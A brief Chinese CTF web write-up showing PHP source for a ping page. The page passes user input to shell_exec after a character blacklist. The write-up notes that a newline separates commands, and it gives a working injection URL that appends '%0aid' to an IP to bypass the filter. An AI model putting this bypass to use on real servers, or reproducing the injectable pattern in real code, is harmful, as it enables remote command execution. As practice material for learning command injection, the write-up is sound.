[CTF_web]exec/exec1.php


CTF_web

CTF_web


源码如下 :

 '',
        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // var_dump($target);
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows  
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 1 ' . $target );
    }
    // Feedback for the end user
    echo  "
{$cmd}
"; ?>

php exec 函数可以同时执行多个命令 , 只需要用 \n 分隔即可

笔者只测试了 exec 函数
像其他的 system 等函数并没有进行测试

根据不同的过滤情况绕过黑名单进行命令注入总结过一篇文章(持续更新)

bash命令注入以及黑名单绕过

http://localhost/CTF_web/exec/exec1.php?ip=8.8.8.8%0aid
[CTF_web]exec/exec1.php_第1张图片
image.png

你可能感兴趣的:([CTF_web]exec/exec1.php)